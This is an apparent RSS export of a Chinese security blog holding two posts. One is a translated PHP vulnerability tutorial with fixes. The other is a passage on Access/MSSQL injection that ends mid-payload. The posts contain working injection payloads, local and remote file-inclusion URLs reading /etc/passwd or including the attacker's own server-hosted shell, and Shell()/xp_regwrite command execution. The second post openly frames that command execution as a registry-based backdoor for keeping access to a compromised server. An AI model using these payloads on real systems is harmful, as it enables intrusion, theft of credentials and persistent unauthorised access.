<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[樱花浪子'S BLOG]]></title> 
<link>http://hacklu.net/blog/index.php</link> 
<description><![CDATA[叶的飘落是风的追求，还是树的不挽留。]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[樱花浪子'S BLOG]]></copyright>
<item>
<link>http://hacklu.net/blog/post/749/</link>
<title><![CDATA[[翻译]php安全之谜(PHP Undergroud Security)]]></title> 
<author>樱花浪子 &lt;&gt;</author>
<category><![CDATA[★[翻译文档]★]]></category>
<pubDate>Wed, 29 Apr 2009 15:54:20 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/749/</guid> 
<description>
<![CDATA[ 
	文章作者：Omnipresent<br/>译文作者：riusksk(泉哥)<br/>信息来源：邪恶八进制信息安全团队（<a href="http://www.eviloctal.com" target="_blank">www.eviloctal.com</a>）<br/><br/>-[ 作者信息 ]-----------------------------------------------------------------------<br/><br/>标题: &quot;PHP Undergroud Security&quot;<br/>作者: Omnipresent<br/>邮箱: omnipresent@email.it - omni@playhack.net<br/>主页: <a href="http://omni.playhack.net" target="_blank">http://omni.playhack.net</a> - <a href="http://www.playhack.net" target="_blank">http://www.playhack.net</a><br/>日期: 2007-04-12<br/><br/>---------------------------------------------------------------------------------<br/><br/><br/><br/>-[ 译者信息 ]-----------------------------------------------------------------------<br/><br/>译者:riusksk(泉哥)<br/><br/>邮箱:riusksk@qq.com<br/><br/>主页: <a href="http://riusksk.blogbus.com" target="_blank">http://riusksk.blogbus.com</a><br/><br/>日期：2008-11-15<br/><br/>---------------------------------------------------------------------------------<br/><br/><br/><br/>-[ 摘要 ]---------------------------------------------------------------------<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 0x00: 前言<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 0x01: 关注全局变量<br/>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 修补<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 0x02: 文件包含<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/># 修补<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 0x03: 跨站脚本<br/>&nbsp;&nbsp;&nbsp;&nbsp; 0x04: SQL注入<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#92;_ 0x04a: 绕过登陆验证<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#92;_ 0x04b: 1 Query? No.. 2 one!（译注：不好翻译，还是保留原文吧！）<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/># 修补<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 0x05: 文件遍历<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/># 修补<br/>&nbsp;&nbsp;&nbsp;&nbsp; 0x05: 结论<br/><br/><br/>---[ 0x00: 前言]<br/><br/>大家好!首先对我糟糕的英语表示抱歉,因为它不是我的母语.<br/><br/>在本教程中,我将会向大家介绍一些主要的php漏洞,以及如何发现、利用并修补它！<br/><br/>-----------------------------------------------------------------------------[/]<br/><br/>---[ 0x01: 关注全局变量]<br/><br/><br/>在php中，你并不一定需要声明变量（这对程序员来说确实是件好事），当你必须使用它时它会“自动”创建的。你可能认为这是件不错的事，确实如此，但这只是偶而发生的事情。<br/><br/>众所周之，PHP经常要获取用户的输入值，并对其进行处理。假如我们在使用一个未声明过的变量时，就可能会引发web程序的安全问题。例如下面一段代码：<br/><br/>[...]<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; if ($is_admin == 1) &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Yes, I&#039;m the admin so call the Administration Pannel<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[...]<br/>&nbsp;&nbsp;&nbsp;&nbsp; &#125; else &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//No, I&#039;m not the admin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[...]<br/>&nbsp;&nbsp;&nbsp;&nbsp; &#125;<br/><br/><br/><br/>上面的变量$is_admin ，我们在使用前并未声明过，那么我们是否可以绕过该变量（在bugged.php文件中）而访问未经授权的管理面板呢？答案是肯定，但我们该如何添加管理认证权限呢？其实很简单，比如：<br/><br/><a href="http://remote_host/bugged.php?is_admin=1" target="_blank">http://remote_host/bugged.php?is_admin=1</a><br/><br/><br/>---[ 修补 ]---<br/>如何修补该漏洞呢？这很容易：在if语句前声明变量$is_admin 即可，代码如下：<br/><br/>$is_admin = 0;<br/><br/>[...]<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; if ($is_admin == 1) &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Yes, I&#039;m the admin so call the Administration Pannel（为真，则说明是管理员，因此被重定向管理界面）<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[...]<br/>&nbsp;&nbsp;&nbsp;&nbsp; &#125; else &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//No, I&#039;m not the admin（为假，则不是管理员）<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[...]<br/>&nbsp;&nbsp;&nbsp;&nbsp; &#125;<br/><br/>-----------------------------------------------------------------------------[/]<br/><br/><br/>---[ 0x02: 文件包含]<br/><br/>-----[本地文件包含]<br/><br/>PHP是种杰出的语言，强大而简单；但是如果你不想在你的代码中出现安全问题，那么你就必须注意一下你的代码了。<br/><br/>在一些情况下，使用动态包含文件（部分路径名存在某个变量中）确实是件好事。让我们看一下下面的代码：<br/><br/><br/>&lt;?php<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; include &quot;/users/&quot;.$include_path.&quot;.php&quot;;<br/>&nbsp;&nbsp;&nbsp;&nbsp; [...]<br/>?&gt;<br/><br/><br/><br/>变量$include_path 在使用前并未进行任何声明，因此攻击者可以在该变量中输入恶意数据，使其包含其它文件（比如/etc/passwd..）。<br/><br/>用户通过修改URL中的$include_path 变量值可以很容易浏览其它文件。例如：<br/><br/><a href="http://remote_host/bugged.php?include_path=../../../../etc/passwd%00" target="_blank">http://remote_host/bugged.php?include_path=../../../../etc/passwd%00</a><br/><br/><br/><br/>包含后的结果如下：<br/><br/><br/>&lt;?php<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; include &quot;/users/../../../../etc/passwd%00.php&quot;<br/>&nbsp;&nbsp;&nbsp;&nbsp; [...]<br/>?&gt;<br/><br/><br/>因此攻击者可以窃取到存在服务器上的所有密码。<br/><br/><br/><br/><br/>- [ 注意 ] -<br/><br/>%00是一个NULL字符，用于“删除”PHP文件扩展名。如果省略掉NULL，将只会显示PHP文件的内容，因为包含文件的扩展名是PHP(include &quot;/users/&quot;.$include_path.&quot;.PHP&quot;)<br/><br/>-------------------------------------------------------------------------------<br/><br/><br/><br/>-----[ 远程文件包含]<br/><br/>先看一下下面的代码：<br/><br/><br/><br/>&lt;?php<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; [...]<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;include($_GET[&#039;pag&#039;]);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; [...]<br/><br/>?&gt;<br/><br/><br/><br/><br/>正如我们所看到的，变量$page 在使用前并未进行任何验证，因此恶意用户可以通过浏览器包含或者调用他的脚本，从而获得被害者电脑的访问权或者像上面说的一样——浏览文件。<br/><br/>例1（提权）：<br/><br/><a href="http://remote_host/inc.php?pag=" target="_blank">http://remote_host/inc.php?pag=</a>[Evil Script - our shell located on our server]<br/>例2(浏览文件):<br/><br/><a href="http://remote_host/inc.php?pag=/etc/passwd" target="_blank">http://remote_host/inc.php?pag=/etc/passwd</a><br/><br/><br/>---[ 修补 ]---<br/><br/>如何解决这种问题呢？验证输入值就可以了。用得最多的一个验证方法就是创建一个可访问页面的列表，如下：<br/><br/><br/>[...]<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; $pag = $_GET[&#039;pag&#039;];<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; $pages = array(&#039;index.php&#039;, &#039;alfa.php&#039;, &#039;beta.php&#039;, &#039;gamma.php&#039;);<br/>&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(in_array($pag, $pages))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; include($pag);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; die(&quot;Hacking Attempt!&quot;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#125;<br/><br/>[...]<br/><br/>-----------------------------------------------------------------------------[/]<br/><br/>---[ 0x03: 跨站脚本]<br/><br/>你是否想知道一些关于XSS的资料呢？关于这方面的内容，我的朋友已经写了很多了，我想我没必要再做重复的工作了，具体可以看下面的链接：<br/>&nbsp;&nbsp;&nbsp;&nbsp; [+] &quot;Cross-Site Scripting for Fun and Profit&quot;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.playhack.net/view.php?type=1&amp;id=18" target="_blank">http://www.playhack.net/view.php?type=1&amp;id=18</a><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; [+] &quot;Applying XSS to Phishing Attacks&quot;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.playhack.net/view.php?type=1&amp;id=20" target="_blank">http://www.playhack.net/view.php?type=1&amp;id=20</a><br/><br/>-----------------------------------------------------------------------------[/]<br/><br/>---[ 0x03: SQL 注入]<br/><br/>SQL注入，如名字所述：在一个存在漏洞的WEB程序中，你可以在请求语句中注入SQL语句。<br/>-----------------------------------------------------------------------------[/]<br/><br/>------[ 0x04b 绕过登陆验证]<br/><br/>在举例之前，我们必须先知晓一些关于SQL的内容：<br/><br/>- (&#039;)&nbsp;&nbsp;这是什么呢？对攻击者来说，这是一个SQL语法中的操作符，这在漏洞攻击中是非常重要的，它可以用于划分字符串…<br/><br/>- (#) 用于注释，&#039;#&#039;（没有分号），这在SQL语法中用于作注释用的。记住它，因为它非常实用和重要！<br/><br/>- (;) 这个符号在数据库中可以用于构造新的请求语句。呆会我们看一下用它来入侵的实际操作，先看一下下面的例子（绕过登陆验证--获取管理权限）：<br/><br/><br/>&lt;?php<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; // login.php<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp; $nick = $_POST[&#039;nick&#039;];<br/>&nbsp;&nbsp;&nbsp;&nbsp; $pass = $_POST[&#039;pass&#039;];<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; $link = mysql_connect(&#039;localhost&#039;, &#039;root&#039;, &#039;root&#039;) or die(&#039;Error: &#039;.<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mysql_error());<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; mysql_select_db(&quot;sql_inj&quot;, $link);<br/><br/><br/>$query = mysql_query(&quot;SELECT * FROM sql_inj WHERE nick =&#039;&quot;.$nick.&quot;&#039; AND pass =&#039;&quot; .$pass. &quot;&#039;&quot;,<br/>$link);<br/><br/>if (mysql_num_rows($query) == 0) &#123;<br/>echo &quot;&lt;script type=&#92;&quot;text/javascript&#92;&quot;&gt;window.location.href=&#039;index.html&#039;;&lt;/script&gt;&quot;;<br/>exit;<br/>&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; $logged = 1;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; [...]<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; //EoF<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; ?&gt;<br/><br/><br/><br/>虽然这段脚本代码非常简单，但是这在学习SQL注入时非常有用。正如我们所看到的，变量$nick和 $pass用于SQL请求时并未进行任何有效地验证，因此我们可以注入我们的SQL代码！看一下下面的请求语句：<br/><br/><br/><br/>&quot;SELECT * FROM sql_inj WHERE nick =&#039;&quot;.$nick.&quot;&#039; AND pass =&#039;&quot; .$pass. &quot;&#039;&quot;<br/><br/><br/><br/>What happends if we pass two variables tainted like these:<br/><br/>假如我们输入经恶意构造的这两个变量，那么将会发生什么事呢，例如：<br/><br/><br/>$nick = 1&#039; OR &#039;1&#039; = &#039;1<br/>$pass = 1&#039; OR &#039;1&#039; = &#039;1<br/><br/>The new query will be:<br/><br/>构成新的请求语句：<br/><br/>&quot;SELECT * FROM sql_inj WHERE nick =&#039;1 OR &#039;1&#039; = &#039;1&#039; AND pass =&#039;1&#039; OR &#039;1&#039; = &#039;1&#039;&quot;<br/><br/><br/><br/><br/>如果你已经知道了关于数据库中的表的知识，但还未弄清楚上面的语句，那么可以看看下面的解释，以帮助你理解它。<br/><br/>1 OR 1 = 1 ??<br/><br/>1或者1等于1？很明显的！那么谁是&#039;sql_inj&#039;表中的第一位用户呢？会是安装这一WEB程序的人吗？没错！就是管理员。<br/><br/>因此我们可以以管理员的身份登陆网站，这样我们就成为管理员了，酷吧！<br/><br/>我们也可以输入下列请求：<br/><br/><br/>$nick = 1&#039; OR &#039;1&#039; = &#039;1&#039; #<br/>$pass = what_we_want_to_put<br/><br/>构成新一请求语句：<br/>&quot;SELECT * FROM sql_inj WHERE nick =&#039;1 OR &#039;1&#039; = &#039;1&#039; # AND pass = what_we_want_to_put&quot;<br/><br/><br/><br/>之前我们已经说过&#039;#&#039;是注释用的！现在我们重新构成新的请求语句：<br/><br/><br/><br/>&quot;SELECT * FROM sql_inj WHERE nick =&#039;1 OR &#039;1&#039; = &#039;1&#039;<br/><br/><br/><br/>现在我们又变成管理员了:D<br/><br/><br/>------[ 0x04b: 1 Query? No.. 2 one! ]<br/><br/>通过SQL注入，我们可以通过修改请求语句，从而注入新的数据，更改用户资料，还可以做其它事……让我们看一下下面的源代码：<br/><br/><br/>&lt;?php<br/><br/>//email.php<br/><br/>[...]<br/><br/>$email = $_POST[&#039;email&#039;];<br/><br/>[...]<br/><br/>$query = mysql_query(&quot;SELECT email, passwd, user_name FROM users WHERE email =<br/>&#039;&quot;.$email.&quot;&#039;&quot;);<br/>[...]<br/><br/>?&gt;<br/><br/><br/>在这里，变量$email 在使用前并未进行任何有效地验证，因此我们可以利用它了。比如通过输入像下面的变量值就可以很容易地更新数据库信息了：<br/><br/><br/>$email = x&#039;; UPDATE users SET email = &#039;omnipresent@email.it&#039;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WHERE email = &#039;admin@site.com &#039;;<br/><br/>构造新的请求语句：<br/><br/><br/><br/>SELECT email, passwd, user_name FROM users<br/>&nbsp;&nbsp;&nbsp;&nbsp; WHERE email = &#039; x&#039;; UPDATE users SET email = &#039;omnipresent@email.it&#039;<br/>&nbsp;&nbsp;&nbsp;&nbsp; WHERE email = &#039;admin@site.com &#039;;<br/><br/><br/>这里攻击者可以修改 &#039;users&#039; 表，特别是管理员的邮箱，利用他的邮箱，我可以通过“忘记了密码？”这一链接，利用邮箱（这里是omnipresent@email.it）接收一封像下列内容的邮件，从而达到目的：<br/><br/><br/><br/>From: host@site.com<br/>&nbsp;&nbsp;&nbsp;&nbsp; To: omnipresent@email.it<br/>&nbsp;&nbsp;&nbsp;&nbsp; Subject: Login Password<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; Ehy.. take it ;)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; Username: Admin<br/>&nbsp;&nbsp;&nbsp;&nbsp; Password: 12345<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; Regards,<br/>&nbsp;&nbsp;&nbsp;&nbsp; Admin<br/><br/><br/>---[ 修补 ]---<br/>首先可以通过修改php.ini文件来修补脚本漏洞：<br/><br/>1. 在所有的&#039; （单引号） ， “ （双引号） ， &#92; （反斜线）以及NULL前自动加上转义符——反斜线“&#92;”<br/>&nbsp;&nbsp;&nbsp;&nbsp;-COOKIE<br/>&nbsp;&nbsp;&nbsp;&nbsp;-POST<br/>&nbsp;&nbsp;&nbsp;&nbsp;-GET<br/><br/>2. 在字符串前加上斜线‘/’<br/><br/>3. 将指定的字符转换为HTML实体<br/><br/>4.转义在mysql-query中使用的字符串<br/><br/>5. 可以到 <a href="http://www.php.net" target="_blank">www.php.net</a> 查看更多的函数<br/><br/>(译注： <a href="http://www.php.net" target="_blank">www.php.net</a> 是一个不错的PHP在线查询站点，我经常用它来查询PHP函数及其它相关资料。）<br/><br/>6. 验证用户提取的数据，例如：<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;$user_id = (int)$_GET[&#039;user_id&#039;];<br/>&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;$user_id is always an integer and we can cast the input for securing<br/>&nbsp;&nbsp;&nbsp;&nbsp;our web applications.<br/><br/>变量$user_id 总为整数，这样就可以确保在WEB程序中输入数据的安全了。<br/>-----------------------------------------------------------------------------[/]<br/><br/>---[ 0x05: 文件遍历]<br/><br/>遍历文件是一个十分危重的漏洞，下面简单讲解一下该漏洞。<br/><br/>无论在什么时候，当我们需要使用文件时都需要检查一下脚本中的文件名及其路径。<br/><br/>在大多情况下，文件名都是作为函数fopen()的参数来传输的，比如：<br/><br/>&lt;?php<br/><br/>[...]<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;$fp = fopen(&quot;/path/&#123;$_GET[&#039;filename&#039;]&#125;.txt&quot;, &#039;r&#039;);<br/><br/>[...]<br/><br/>?&gt;<br/><br/><br/>由于在这段脚本代码中&#039;filename&#039; 可被被远程用户修改破坏，这就造成了文件遍历漏洞。<br/><br/>在这种情况下，攻击者可以通过使用多个&quot;../&quot;来移动目录查看文件。<br/><br/>例如：<br/><br/><a href="http://remote_host/path/bug.php?filename=../../../../path_of_another_file/file%00" target="_blank">http://remote_host/path/bug.php?filename=../../../../path_of_another_file/file%00</a><br/><br/><br/>NULL Byte (%00)在许多攻击中多用于截断字符串，以突破文件扩展名的限制。<br/><br/>---[ 修补 ]---<br/><br/>修补这一漏洞最好的方法就是使用basename()函数，例如：<br/><br/><br/>&lt;?php<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;$clean = array();<br/>&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;if (basename($_GET[&#039;filename&#039;]) == $_GET[&#039;filename&#039;])<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$clean[&#039;filename&#039;] = $_GET[&#039;filename&#039;];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[...]<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#125;<br/><br/>$fp = fopen(&quot;/path/&#123;$clean[&#039;filename&#039;]&#125;.txt&quot;, &#039;r&#039;);<br/><br/><br/>?&gt;<br/><br/><br/>-----------------------------------------------------------------------------[/]<br/><br/><br/>---[ 0x06: 结论 ]<br/><br/>这是&quot;PHP Undergroud Security&quot;的结尾了，希望本文对你打造php安全代码有所帮助！<br/><br/>有任何问题可发送邮件至 omnipresent@email.it 或者 omni@playhack.net 。<br/>-----------------------------------------------------------------------------[/]<br/><br/>&#92;=======================[EOF]============== ====== /
]]>
</description>
</item><item>
<link>http://hacklu.net/blog/post/520/</link>
<title><![CDATA[ACCESS高级注入]]></title> 
<author>樱花浪子 &lt;&gt;</author>
<category><![CDATA[★[翻译文档]★]]></category>
<pubDate>Wed, 04 Jun 2008 04:30:39 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/520/</guid> 
<description>
<![CDATA[ 
	现在我们在脚本注入攻击的技术中,常用的手法分好多种,最普通的是利用子查询或者是Union联合查询来取得一些特殊表中的内容,比如Admin,Log表等等,这是一种纯粹的对数据库的攻击方式,而MSSQL&amp;nbspServer的方法则更为多样和复杂,<br/>当我们取得连接权限较高的注入点的时候,我们可以利用MSSQL&amp;nbspServer本身所带的扩展来执行命令，或者是获取目录,读取文件与修改注册表;在低权用户的连接中，我们则可以试用差异备份,<br/>或者干脆就是跑数据库等方式来实现对系统的直接攻击或者是间接的攻击.再则则是类似于Oracle&#92;MySQL&#92;DB2这些非MS直接支持的数据库关于他们,我们也有多种多样的攻击手法,执行命令,导出文件或读取文件等.<br/>以上是一些我们针对常用数据库的攻击方式的大体总结,不难看出，其中最鸡肋的,要算是Access的数据库了.一来在Access中,无法直接获取数据库中的表名和字段名称,二来在Access中,我们能做的东西非常少,<br/>再说也不支持多语句的SQL语法,和T-SQL的标准又有不少的区别,让人觉得Access数据库中仅有的Insert,Update,Select,Delte,Produce仅仅是对SQL语句的封装而已.所以,我们依旧需要对Access进行研究.<br/>在这篇研究笔记中,我所参考的文章和资料,有部分来自nsfocus和xFocus早在2000-2002年的文档,另一篇则是SuperHei所发表的&lt;关于Access的一些测试&gt;,<br/>大家可以在<a href="http://www.4ngel.net/" target="_blank">http://www.4ngel.net/</a>安全天使安全小组的网站上查询到.OK,废话不要太多,我们继续研究.<br/>我们可以去翻看微软在刚推出Windows&amp;nbsp2000的时候曾经出现过几个非常大的脚本漏洞的漏洞公告，其中比如 cateloy_type.asp的远程注入漏洞和Msadscs.dll漏洞等都涉及了与现在的攻击手法或者是常用的利用方法极为不同的地方,<br/>比如Catelog_type.asp的注入漏洞,它的代码中出现的问题是这样的:<br/>&quot;select *&amp;nbspfrom&amp;nbspcateloy&amp;nbspwhere&amp;nbsptype=&#039;&quot; &amp;&amp;nbspRequset(&quot;Type&quot;) &amp; &quot;&#039;&quot;<br/>谁都能看明白这是一个非常低级的注入漏洞,直接将Type的值放入SQL语句中查询,并没有估计到用户的恶意输入.<br/>如果换作现在,我们基本上只有拿来跑表份,幸好MS没设置类似PHP的gpc,否则我们将一事无成.但是我们可以查看这篇漏洞资料的利用方式,其中涉及到了一个SQL语句:<br/>Select *&amp;nbspfrom&amp;nbspSometable&amp;nbspwhere&amp;nbspsomefield=&#039;&#124;Select&amp;nbspShell(&quot;cmd.exe /c&amp;nbspdir&quot;)&#124;&#039;<br/>关于这个语句的介绍,是漏洞资料中所说的,Access允许用&quot;&#124;&quot;来创建VBA函数,导致命令被执行,其实这只是Access内置的一个特殊函数而已,相类似的还有cudir和Command函数.具体的我们可以在Access中测试.测试的SQL语句如下:<br/>Select&amp;nbspShell(&quot;cmd.exe /c&amp;nbspdir&amp;nbspc:&#92; &gt;&amp;nbspc:&#92;kevin.txt&quot;)<br/>回到C盘,我们果然看到了kevin.txt.说明语句执行成功了.<br/>然后我们将其转到脚本中测试吧.编写如下的VBS脚本<br/>Set&amp;nbspConn=Createobject(&quot;Adodb.Connection&quot;)<br/>Conn.Open &quot;Provider=Microsoft.Jet.OLEDB.4.0;Data&amp;nbspSource=kevins4t.mdb&quot;<br/>Set&amp;nbspRs=Conn.execute(&quot;Select&amp;nbspShell(&quot;&quot;cmd.exe /c&amp;nbspdir&amp;nbspc:&#92; &gt;&amp;nbspc:&#92;kevin.txt&quot;&quot;)&quot;)<br/>Msgbox&amp;nbspRs(0)<br/>这一此出现的结果很出乎我们的意料,错误的原因是&quot;表达式中的&#039;Shell&#039;函数未定义&quot;.现在我们需要安静下来喝杯咖啡然后思考为什么同样的语句在不同的执行者间会出现如此截然不同的问题.一个能正常执行,<br/>而另外一个则是找不到函数.试想微软一定在其中的什么地方设置了一个开关,那么我们就去微软的知识库去了解一下.<br/>在微软的一篇关于沙盒模式的文档中,我们了解到一些内容:<br/>为了安全起见,MS在Jet引擎的Sp8中,设置了一个名为SandBoxMode的开关,这个开关是开启一些特殊函数在另外的执行者中执行的权限的.它的注册表位置在<br/>HKEY_LOCAL_MACHINE&#92;SoftWare&#92;Microsoft&#92;Jet&#92;4.0&#92;Engine&#92;SandBoxMode里,默认是2.微软关于这个键值的介绍为:0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内,<br/>2则是必须是Access的模式下(这就是为什么我们能在Access中执行成功的原因.),3则是完全开启,连Access中也不支持.<br/>那么好吧,我们来看看如果将值变为0将会怎样.<br/>这次运行我们的VBS的时候,出现的情况是一组数字,再在C盘下查看文件,果然看到了我们的kevin.txt.很神奇吧.原来Access也是可以执行命令的,只是微软这家伙总是懒得说出来而已.但是如果在实际方面会怎样呢?<br/>一.后门的设置<br/>我们的运用将会很窄.真的,一来我们需要的权限很高,起码要到能改注册表的权限,默认是Admin和LocalSystem,二来是我们将如何修改注册表，远程吗?没门的.所以我们只好将其当作一个后门用.<br/>只要我们修改了注册表的值,那么在普通的注入语句中,这是一个很不错的后门方式,最起码可以在外部执行一些小小的命令什么的.<br/>比如我们在渗透某个站点的时候拿到了最高权限,并且修改了这个SandBoxMode,之后我们被管理员扫地出门了.那么,在首页的某个地方依旧存在这一个Select的注入点,这样最好,我们让服务器执行如下的SQL就行了.<br/>InjectionURL&#039;&amp;nbspand&amp;nbsp0&lt;&gt;(select&amp;nbspshell(&quot;cmd.exe /c&amp;nbspnet&amp;nbspuser &gt;&amp;nbspc:&#92;inetpub&#92;wwwroot&#92;kevins4t.txt&quot;))%00<br/>这样我们就可以一步一步的将重新服务器拿下.<br/>二.远程攻击<br/>这将是一个很有意思的话题.首先我们必须有修改注册表的权限,二是有修改注册表的条件,三是可以执行SandboxMode的环境,必须三样同时满足才行,到底是在什么情况下呢?<br/>我们知道,我们平时在杂志上看到的文章,很多的无非就是在一个以Sa连接的InjectionURL中苦苦挣扎,一是执行命令,如果去掉了扩展或者是将扩展需要的DLL移走,我们将一无所用.那么聪明的你是否想到了方法?<br/>我们知道,只有Sa的权限才有可能去打开另外一个Access的连接的,当我们满足了打开Access的条件的同时,我们也满足了修改注册表的条件和权限,因为MSSQL有一个名为xp_regwrite的扩展,它的作用是修改注册表的值.语法如下<br/>exec&amp;nbspmaseter.dbo.xp_regwrite&amp;nbspRoot_Key,SubKey,Value_Type,Value<br/>那我们只要将SandBoxMode修改为0或者1就成功了.然后则是MSSQL的OpenRowSet函数,它用于打开一个特殊的数据库或者连接到另一个数据库之中.当我们具备SysAdmin的权限的时候,我们就可以做到打开Jet引擎.那么我们只要连接到一个Access数据库中,<br/>然后执行命令就可以了.但是关键的问题是如何寻找这个Access数据库.<br/>关于这个问题我以前想了很多,一开始是想,利用目录便历来查询数据库的位置.但是这种方法成功率不会很高,有的时候我们碰到很多的站点都设置了非常好的权限,无法找到MDB数据库.这是最为烦恼的地方.<br/>不过后来我想到了一些前人用过的方式,系统里本来就有2-3个现存的数据库嘛,何必费神的去找呢?它们的位置在%windir%&#92;system32&#92;ias &#92;ias.mdb或者%windir%&#92;system32&#92;ias&#92;dnary.mdb这样一来,我们有了执行宿主,就没什么好怕的了.执行一下我们所需要的命令吧<br/>InjectionURL&#039;;Select *&amp;nbspFrom&amp;nbspOpenRowSet(&#039;Microsoft.Jet.OLEDB.4.0&#039;,&#039;;Database=c:&#92;winnt&#92;system32&#92;ias&#92;ias.mdb&#039;,&#039;select&amp;nbspshell(&quot;net&amp;nbspuser&amp;nbspkevin&amp;nbsp1986 